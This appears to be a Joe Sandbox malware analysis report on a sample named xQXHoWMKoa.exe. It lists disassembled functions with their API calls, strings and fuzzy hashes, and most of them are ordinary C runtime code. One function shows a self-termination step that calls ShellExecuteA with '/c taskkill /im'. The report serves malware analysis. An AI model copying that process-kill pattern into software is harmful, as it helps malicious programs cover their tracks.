std::_Lockit::~_Lockit.LIBCPMT ref: 03646050
std::_Facet_Register.LIBCPMT ref: 036460B2
std::_Lockit::~_Lockit.LIBCPMT ref: 036460CA
Concurrency::cancel_current_task.LIBCPMT ref: 036460ED

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 8d8454817321017a1666a4b5ba5cd03a82b4acc744762edd69f5d5ada06cce31
Instruction ID: 9b26e9c5359cf4387f65cbf551eac3acb321e5f4b658234f156552ee96a4ddf3
Opcode Fuzzy Hash: 8d8454817321017a1666a4b5ba5cd03a82b4acc744762edd69f5d5ada06cce31
Instruction Fuzzy Hash: 6231E3B5E00215CFCB20DF58DA40AAEBBB5FF05B20F1541ADD8156B390DB35A906CBD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040ABB4 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0040ABAB,0040921F,00408859), ref: 0040ABC2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0040ABD0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0040ABE9
SetLastError.KERNEL32(00000000,0040ABAB,0040921F,00408859), ref: 0040AC3B

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 3e0e1d7d76534002b5a89f4f42d10d225442b6a7fe0992637586fb7c8dca2c98
Instruction ID: 1585e31ea0df4eff19312e57cd220c703c89e953a1065a25df23f812ed0ef9fb
Opcode Fuzzy Hash: 3e0e1d7d76534002b5a89f4f42d10d225442b6a7fe0992637586fb7c8dca2c98
Instruction Fuzzy Hash: 2101B53260C3129FE6342BB56C859672A54EB51778720023FF510B22E2EB3D4C23558E

Uniqueness

Uniqueness Score: -1.00%

Function 0364AE1B Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0364AE12,03649486,03648AC0), ref: 0364AE29
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0364AE37
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0364AE50
SetLastError.KERNEL32(00000000,0364AE12,03649486,03648AC0), ref: 0364AEA2

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: a9d0e734becf0ef50911556631e14f05d46381792f09ada4a374dbd0aeddace0
Instruction ID: 5abd8134ffa89f3382475e67f7a9eaf74af204a2e39ac2f6d937bccf06b25a1b
Opcode Fuzzy Hash: a9d0e734becf0ef50911556631e14f05d46381792f09ada4a374dbd0aeddace0
Instruction Fuzzy Hash: 5801D836E4A3117FD7359FF4FD84D672B59EB01679720033DE5205A2E1EF194812615C

Uniqueness

Uniqueness Score: -1.00%

Function 03645667 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 036432B7: ___std_exception_copy.LIBVCRUNTIME ref: 03643346

std::locale::_Init.LIBCPMT ref: 03645775

Part of subcall function 0364767D: std::_Lockit::_Lockit.LIBCPMT ref: 0364768F
Part of subcall function 0364767D: std::locale::_Setgloballocale.LIBCPMT ref: 036476AA
Part of subcall function 0364767D: _Yarn.LIBCPMT ref: 036476C0
Part of subcall function 0364767D: std::_Lockit::~_Lockit.LIBCPMT ref: 03647700

Part of subcall function 03645FD7: std::_Lockit::_Lockit.LIBCPMT ref: 0364600D
Part of subcall function 03645FD7: std::_Lockit::_Lockit.LIBCPMT ref: 03646030
Part of subcall function 03645FD7: std::_Lockit::~_Lockit.LIBCPMT ref: 03646050
Part of subcall function 03645FD7: std::_Lockit::~_Lockit.LIBCPMT ref: 036460CA

std::locale::_Init.LIBCPMT ref: 03645838
Concurrency::cancel_current_task.LIBCPMT ref: 0364594F
Concurrency::cancel_current_task.LIBCPMT ref: 03645954

Part of subcall function 036418D7: ___std_exception_copy.LIBVCRUNTIME ref: 03641915

Strings

hyB, xrefs: 036456C6

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_std::locale::_$Concurrency::cancel_current_taskInit___std_exception_copy$SetgloballocaleYarn
String ID: hyB
API String ID: 3444572950-3752501641
Opcode ID: 24e60d342594fa4931f8686eb6b2fd05d231af75da6e17b731edc442ea607d29
Instruction ID: ce92ae00b57629bd0018bddea37ba788cb66f2688b7d20bd1101a335648c294e
Opcode Fuzzy Hash: 24e60d342594fa4931f8686eb6b2fd05d231af75da6e17b731edc442ea607d29
Instruction Fuzzy Hash: 1FA121B4A00305DFEB00CF58C594B9ABBF4FF09314F1482A9D9099F791D7B6A998CB94

Uniqueness

Uniqueness Score: -1.00%

Function 03655E7C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\xQXHoWMKoa.exe, xrefs: 03655E81

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\xQXHoWMKoa.exe
API String ID: 0-2917005090
Opcode ID: d981e5793ca8b2ffb131b2adb0f7f667184dc6da33eef07ed5dc674e2a7489c4
Instruction ID: 06f28cca1fd2dcdebdebb318918540eb08cf5029caa83644af0f52e70bb12b6d
Opcode Fuzzy Hash: d981e5793ca8b2ffb131b2adb0f7f667184dc6da33eef07ed5dc674e2a7489c4
Instruction Fuzzy Hash: 2221C2B1A04305BFEB20EF65CC4896A776DAF06264B048538FE1BDB250DB30EC518BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040BD87 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,0040BE48,?,?,0042B440,00000000,?,0040BF73,00000004,InitializeCriticalSectionEx,0041EB20,InitializeCriticalSectionEx,00000000), ref: 0040BE17

Strings

api-ms-, xrefs: 0040BDD7

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: da84090441890d50f9cbdf5a97449929467e511c8f269dd5155a12c56a084703
Instruction ID: e5d4ee3c6a6847cb9dea89b3177c7606f989430977cf522e8fd3af181ee602d5
Opcode Fuzzy Hash: da84090441890d50f9cbdf5a97449929467e511c8f269dd5155a12c56a084703
Instruction Fuzzy Hash: 1C11E375E41621ABCB228B69DC41B9A73A4EF01770F240532EA01F73C1D778ED0086ED

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6C3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,0040C6B8,?,?,0040C680,00000000,?,?), ref: 0040C6D8
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0040C6EB
FreeLibrary.KERNEL32(00000000,?,?,0040C6B8,?,?,0040C680,00000000,?,?), ref: 0040C70E

Strings

CorExitProcess, xrefs: 0040C6E3
mscoree.dll, xrefs: 0040C6D1

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: bbbf51e1b09233c39d8671541389975c35389409bf2ae3c6d29d29acdd24c030
Instruction ID: 206cf139684a9169e9adee9fe9aced5f01fd37e22cfc85179c7a1906029aafee
Opcode Fuzzy Hash: bbbf51e1b09233c39d8671541389975c35389409bf2ae3c6d29d29acdd24c030
Instruction Fuzzy Hash: 26F08231900219FBDB119BA1DD4ABDEBA65EB04755F204071E805B22A0DB788E00DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F9E0 Relevance: 7.8, APIs: 5, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00410D40: GetLastError.KERNEL32(00401EE5,?,00401EE9,0040C471,?,00401EE5,?,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410D45
Part of subcall function 00410D40: SetLastError.KERNEL32(00000000,00000008,000000FF,?,00410FF0,00000000,?,00000000,00000000,00401EE5), ref: 00410DE3

_free.LIBCMT ref: 0040FCCB
_free.LIBCMT ref: 0040FCE4
_free.LIBCMT ref: 0040FD22
_free.LIBCMT ref: 0040FD2B
_free.LIBCMT ref: 0040FD37

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast
String ID:
API String ID: 3291180501-0
Opcode ID: 63e32f6c45095481086d3ab6074e4c4e0c9c39a53d5cd680ec499da2795a7410
Instruction ID: b8379e73fcc390cbfd91c32178745e39a50c2e601da78d42e8ddde05ba45d347
Opcode Fuzzy Hash: 63e32f6c45095481086d3ab6074e4c4e0c9c39a53d5cd680ec499da2795a7410
Instruction Fuzzy Hash: ECB15C75A056199FDB34DF18C885AAAB3B5FF48304F1045BEE80AA7790D734AE94CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0364FC47 Relevance: 7.8, APIs: 5, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03650FA7: GetLastError.KERNEL32(0364214C,?,03642150,0364C6D8,?,0364214C,?,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 03650FAC
Part of subcall function 03650FA7: SetLastError.KERNEL32(00000000,0042A190,000000FF,?,03651257,00000000,?,00000000,00000000,0364214C), ref: 0365104A

_free.LIBCMT ref: 0364FF32
_free.LIBCMT ref: 0364FF4B
_free.LIBCMT ref: 0364FF89
_free.LIBCMT ref: 0364FF92
_free.LIBCMT ref: 0364FF9E

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast
String ID:
API String ID: 3291180501-0
Opcode ID: 19093d08ba9a4a842509f0026c24c96a45d3f708367fd8ea7b891057277414f2
Instruction ID: 8b6a3113509ffbb75eb8ac7acac4a679fddef8b9c9a76e11248d762e892d3fed
Opcode Fuzzy Hash: 19093d08ba9a4a842509f0026c24c96a45d3f708367fd8ea7b891057277414f2
Instruction Fuzzy Hash: 70B14975E0131A9FDB24DF18C984AA9B3B5FF49304F5485AEE849AB350E770AE90CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0041A8A9 Relevance: 7.7, APIs: 5, Instructions: 244COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,0041AB65,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 0041A94C
__alloca_probe_16.LIBCMT ref: 0041AA02
__alloca_probe_16.LIBCMT ref: 0041AA98
__freea.LIBCMT ref: 0041AB03
__freea.LIBCMT ref: 0041AB0F

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea$Info
String ID:
API String ID: 2330168043-0
Opcode ID: 699857b4fd25e39ed6505f5f5017ec6a85fd3642d62efe8fceb029e9e86e8f04
Instruction ID: 74434231ff676d8f1fc8fa41ef5f78d3de69fe0be97559c158d781572d92f567
Opcode Fuzzy Hash: 699857b4fd25e39ed6505f5f5017ec6a85fd3642d62efe8fceb029e9e86e8f04
Instruction Fuzzy Hash: 1D8124B2D012499BDF209F65C981EEF7BB69F09354F19045BE904A7240D73D9CE0CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 004121BC Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00412240
__alloca_probe_16.LIBCMT ref: 00412306
__freea.LIBCMT ref: 00412372

Part of subcall function 004123EF: RtlAllocateHeap.NTDLL(00000000,?,?,?,0040901B,?,?,?,004010ED,?,00402687,?,?,?), ref: 00412421

__freea.LIBCMT ref: 0041237B
__freea.LIBCMT ref: 0041239E

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 7cb6950dc8ca8d6ead5130ddf8ed292ba580430c33308f12d38434a5e1a9b098
Instruction ID: 3f5f74f68e7d41f2cca7f6fce400f43b55e93c6934ce23f10ca0372b46243168
Opcode Fuzzy Hash: 7cb6950dc8ca8d6ead5130ddf8ed292ba580430c33308f12d38434a5e1a9b098
Instruction Fuzzy Hash: AF51F37260020AABEF209F61CD81EFF36A9EB40754F15012AFD24E7250D6BCDDA19668

Uniqueness

Uniqueness Score: -1.00%

Function 0040F555 Relevance: 7.7, APIs: 5, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004123EF: RtlAllocateHeap.NTDLL(00000000,?,?,?,0040901B,?,?,?,004010ED,?,00402687,?,?,?), ref: 00412421

_free.LIBCMT ref: 0040F664
_free.LIBCMT ref: 0040F67B
_free.LIBCMT ref: 0040F698
_free.LIBCMT ref: 0040F6B3
_free.LIBCMT ref: 0040F6CA

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: 95b4dccd76f81548f7fa4b83d0516ef2e30956d08d671ce6cf939dbd62bd89bf
Instruction ID: e26f405226ca6c244662f86c70b7d9651fadd642deef2eefb689cee946dee19f
Opcode Fuzzy Hash: 95b4dccd76f81548f7fa4b83d0516ef2e30956d08d671ce6cf939dbd62bd89bf
Instruction Fuzzy Hash: 5551E472A00604AFDB21DF29CC81BAB77F5EF44714F10097EE809E76A1E739D9468B48

Uniqueness

Uniqueness Score: -1.00%

Function 0364F7BC Relevance: 7.7, APIs: 5, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 03652656: RtlAllocateHeap.NTDLL(00000000,?,?), ref: 03652688

_free.LIBCMT ref: 0364F8CB
_free.LIBCMT ref: 0364F8E2
_free.LIBCMT ref: 0364F8FF
_free.LIBCMT ref: 0364F91A
_free.LIBCMT ref: 0364F931

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free$AllocateHeap
String ID:
API String ID: 3033488037-0
Opcode ID: dce2c5a0e09397c5f7c4ac813fbc7aa752a95d750f6506e7fb9933a3d3d52066
Instruction ID: a7c1982ea47f338d4dc138278118074ac9ec4abe7048b93c0fd164ce7a04b744
Opcode Fuzzy Hash: dce2c5a0e09397c5f7c4ac813fbc7aa752a95d750f6506e7fb9933a3d3d52066
Instruction Fuzzy Hash: 8851AF76E00704AFDB21DF29C941BAAB7F8EF45720F18456DE809DF250E731E9118B54

Uniqueness

Uniqueness Score: -1.00%

Function 03642E87 Relevance: 7.7, APIs: 5, Instructions: 162COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 03642F0A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 03642F56
__Getctype.LIBCPMT ref: 03642F6F
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 03642F8B
std::_Lockit::~_Lockit.LIBCPMT ref: 03643020

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: std::_$Locinfo::_Lockit$GetctypeLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID:
API String ID: 1840309910-0
Opcode ID: 5ebf30d21d9ece2875df4d782efdf1f52fb6d14393f54e039f5e8b4086dbf86a
Instruction ID: c4f2412810e7f904bc549f94ece49888762d98e10918a232c0993d76f6b6dc99
Opcode Fuzzy Hash: 5ebf30d21d9ece2875df4d782efdf1f52fb6d14393f54e039f5e8b4086dbf86a
Instruction Fuzzy Hash: 1E51B2B5D053489BDF10DFA4D944B9EFBB8AF15700F188529EC04AB380E775E504CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004173D4 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004173EC

Part of subcall function 0041125B: HeapFree.KERNEL32(00000000,00000000,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?), ref: 00411271
Part of subcall function 0041125B: GetLastError.KERNEL32(?,?,00417675,?,00000000,?,?,?,00417918,?,00000007,?,?,00417E0B,?,?), ref: 00411283

_free.LIBCMT ref: 004173FE
_free.LIBCMT ref: 00417410
_free.LIBCMT ref: 00417422
_free.LIBCMT ref: 00417434

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 55fdad49d3e940d6adefd3a91a74bc3a70a54511d14fa9b810ed781da0bb3105
Instruction ID: 12d67177f25bb58156aeb40ac9cd7a805bdb10bb8b17bb555de7aa4c1e59f88a
Opcode Fuzzy Hash: 55fdad49d3e940d6adefd3a91a74bc3a70a54511d14fa9b810ed781da0bb3105
Instruction Fuzzy Hash: E1F0AF32608210AB8260EB59E4C6CDA77FABF44764794480AF44DE3211CB38FCD28A6C

Uniqueness

Uniqueness Score: -1.00%

Function 0365763B Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 03657653

Part of subcall function 036514C2: HeapFree.KERNEL32(00000000,00000000,?,036578DC,?,00000000,?,?,?,03657B7F,?,00000007,?,?,03658072,?), ref: 036514D8
Part of subcall function 036514C2: GetLastError.KERNEL32(?,?,036578DC,?,00000000,?,?,?,03657B7F,?,00000007,?,?,03658072,?,?), ref: 036514EA

_free.LIBCMT ref: 03657665
_free.LIBCMT ref: 03657677
_free.LIBCMT ref: 03657689
_free.LIBCMT ref: 0365769B

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 55fdad49d3e940d6adefd3a91a74bc3a70a54511d14fa9b810ed781da0bb3105
Instruction ID: e2c73cbf18a583ef2c8db95fdf0163b246c1f4c12524483714bfa0e5eb6c103d
Opcode Fuzzy Hash: 55fdad49d3e940d6adefd3a91a74bc3a70a54511d14fa9b810ed781da0bb3105
Instruction Fuzzy Hash: 88F03C32705310AB8A34DB5CF585D15B3D9AB05765F985839FC4CD7601CB74F870466C

Uniqueness

Uniqueness Score: -1.00%

Function 00415650 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004157EA

Strings

*?, xrefs: 00415693

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 27b78a0d1afc652005a83554bc55378b5950cc873bd3d4db1c680147f337cef3
Instruction ID: edfc1017a92d378ff34c792b249568c6ed24a2db6a268a3e4d89877b8d899978
Opcode Fuzzy Hash: 27b78a0d1afc652005a83554bc55378b5950cc873bd3d4db1c680147f337cef3
Instruction Fuzzy Hash: 51614B75E00619DFCB14DFA9C8815EEFBF5EF88314F24816AE815E7340D639AE818B94

Uniqueness

Uniqueness Score: -1.00%

Function 036558B7 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 03655A51

Strings

*?, xrefs: 036558FA

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 27b78a0d1afc652005a83554bc55378b5950cc873bd3d4db1c680147f337cef3
Instruction ID: ccd893463a130bacad1ffc90a09820baf384b6c502022b749d0a3c7e08eb37fb
Opcode Fuzzy Hash: 27b78a0d1afc652005a83554bc55378b5950cc873bd3d4db1c680147f337cef3
Instruction Fuzzy Hash: 73613D75E002199FCF15CFA8C9849EDFBF9EF49210F1881AAE956E7300E7759E418B90

Uniqueness

Uniqueness Score: -1.00%

Function 03643587 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(0042A018), ref: 036435B3

Part of subcall function 036434E7: OpenProcess.KERNEL32(00000410,00000000), ref: 03643512
Part of subcall function 036434E7: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0364352D
Part of subcall function 036434E7: CloseHandle.KERNEL32(00000000), ref: 03643534

GetCurrentProcessId.KERNEL32 ref: 036435CF

Part of subcall function 036433E7: OpenProcess.KERNEL32(00000410,00000000), ref: 03643447
Part of subcall function 036433E7: K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 03643464
Part of subcall function 036433E7: K32GetModuleBaseNameA.KERNEL32(00000000,?,?,00000104), ref: 03643481
Part of subcall function 036433E7: CloseHandle.KERNEL32(00000000), ref: 03643488

ShellExecuteA.SHELL32(00000000,00000000,004278B0,00000000,00000000,00000000), ref: 03643670

Strings

/c taskkill /im ", xrefs: 036435E3

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: Process$CloseCurrentHandleModuleNameOpen$BaseEnumExecuteFileModulesShell
String ID: /c taskkill /im "
API String ID: 3296006795-2842225094
Opcode ID: c4293824eb503ea045ee25c63081e2037e0816156992943217f6b04f155bb6b3
Instruction ID: fc529714fa4b6084960b570b800eb0cff61927f1a7f572088ab1dfd66a00d2ad
Opcode Fuzzy Hash: c4293824eb503ea045ee25c63081e2037e0816156992943217f6b04f155bb6b3
Instruction Fuzzy Hash: 41217C74E04358ABC715FBA4CC55BEDBBB4BB15700FA044ACE046AB2D0EF745A09CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00403050 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 004030DF

Part of subcall function 00409260: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,004010ED,?,004071C5,?,00428EE0,?,?,?,?,004010ED,0042BBA0,0042BBA1), ref: 004092C0

Strings

ios_base::badbit set, xrefs: 00403085
ios_base::failbit set, xrefs: 0040308F
ios_base::eofbit set, xrefs: 00403094

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: 944e97d570911950379fc5b453cd7d2c0c883462ef576b1aa3938253e619e357
Instruction ID: 6b2dcf83fd56f893463438c7860671d35dda5de460178581763f3720d09a2793
Opcode Fuzzy Hash: 944e97d570911950379fc5b453cd7d2c0c883462ef576b1aa3938253e619e357
Instruction Fuzzy Hash: 6811E1B1A04305ABC700DF69D806B96B7E8AF40311F10C52FF954AB6C1EB78E944CB99

Uniqueness

Uniqueness Score: -1.00%

Function 036432B7 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 03643346

Part of subcall function 036494C7: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,03641354,?,0364742C,?,00428EE0,?,?,?,?,03641354,0042BBA0,0042BBA1), ref: 03649527

Strings

ios_base::eofbit set, xrefs: 036432FB
ios_base::failbit set, xrefs: 036432F6
ios_base::badbit set, xrefs: 036432EC

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-1866435925
Opcode ID: e8a88ef2878b705e0158c1a163ec366af113c2e46ac4ce2ea3fc515c0333c9e7
Instruction ID: e4adc10843e44210f031fe9750f554bbf1f5b82350811a292de94b4b8f2f6a38
Opcode Fuzzy Hash: e8a88ef2878b705e0158c1a163ec366af113c2e46ac4ce2ea3fc515c0333c9e7
Instruction Fuzzy Hash: 1D1103B5E043056BC700DF68D801AABB7E8AF41310F64C52FE9588B740EB74E854CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACCB Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0040AD92
___AdjustPointer.LIBCMT ref: 0040ADB5
___AdjustPointer.LIBCMT ref: 0040AE51

Memory Dump Source

Source File: 00000000.00000002.2079061587.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xQXHoWMKoa.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 183a52a73b831fe0ada19249167a9424e62eb0891da22aa605e99f03fdfc4831
Instruction ID: 90dfe2ec435d461ad3aee01eaa0a4d287f80f964ed01bea415ed85caf52aea2f
Opcode Fuzzy Hash: 183a52a73b831fe0ada19249167a9424e62eb0891da22aa605e99f03fdfc4831
Instruction Fuzzy Hash: BC51E372601306AFDB298F11D441BAA73A6EF00315F14453FE8066BAD1D739ECA1D7DA

Uniqueness

Uniqueness Score: -1.00%

Function 0364AF32 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0364AFF9
___AdjustPointer.LIBCMT ref: 0364B01C
___AdjustPointer.LIBCMT ref: 0364B0B8

Memory Dump Source

Source File: 00000000.00000002.2081357909.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

